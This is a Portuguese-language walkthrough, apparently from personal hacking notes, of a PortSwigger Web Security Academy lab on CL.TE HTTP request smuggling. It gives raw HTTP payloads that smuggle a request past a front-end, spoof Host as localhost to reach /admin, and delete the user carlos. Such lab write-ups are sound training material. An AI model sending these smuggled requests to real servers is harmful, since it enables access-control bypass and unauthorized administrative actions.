> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Bypass de Segurança do Front-End via CL.TE

Notas sobre Bypass de Segurança do Front-End via CL.TE para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando o HTTP Request Smuggling para Contornar Controles de Segurança do front-end, Vulnerabilidade CL.TE

O laboratório usa um **front-end** servidor e um **back-end**. / O front-end **não suporta a codificação chunked**, enquanto o back-end o aceita. / O acesso ao painel de administração localizado em **/admin** é bloqueado pelo front-end.

O objetivo é **contrabandear uma requisição** para o backend, permitindo acesso ao painel de administração, então **remover o usuário carlos**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8382a2863b93250e209c603251eeccae7a0cff3c%2F%7B0A29A2DA-3ED1-4BC9-BCE7-4A3811578253%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **1. Verificação da Vulnerabilidade CL.TE**

O front-end interpreta Content-Length, enquanto o back-end usa Transfer-Encoding.

Payload básico CL.TE:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Isso retorna um **200**, o que confirma que o back-end leva `Transfer-Encoding` em conta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21de3c661c30b13ef9ff9705701e37f7c58fef8d%2F%7B0FD189D5-7E19-4DEE-97B1-41AD97515D6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **2. Injeção de uma Requisição Contrabandeada**

Quando uma requisição é então encadeada, o backend lê a requisição contrabandeada:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Teste: A
```

O backend responde que **apenas usuários locais** podem acessar /admin.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00df1890b07152437463b3060d206d3f66020121%2F%7B300750AC-740C-4C8F-9C2C-9A0A0BE49D15%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **3. Usurpação do Host para Parecer Local**

Para contornar a restrição, o back-end deve acreditar que a requisição vem de localhost.

Tentativa inicial:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Mas o servidor retorna:

```json
{
 "erro":"Nomes de cabeçalho duplicados não são permitidos"
}
```

O backend, portanto, não interpreta esta requisição como uma nova requisição completa.

### **4. Construção de uma Requisição Contrabandeada Correta**

Um `Content-Length` é adicionado à requisição contrabandeada, para que seja processado corretamente:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Para o back-end ler a requisição corretamente, ajustamos o tamanho:

```http
Content-Length: 10
```

A requisição completa enviada ao front-end fica:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672c36495983a952ef61a077891df4ab9afb8bec%2F%7B701E405D-1ECB-4E69-926C-E59B0ED6483B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **5. Remoção do Usuário Carlos**

Agora basta substituir a linha GET pela chamada de exclusão:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48c6de9b8cf570a6a05a5d288ec348e296bccac3%2F%7B83660781-1F24-46E5-90EE-65BE92F97165%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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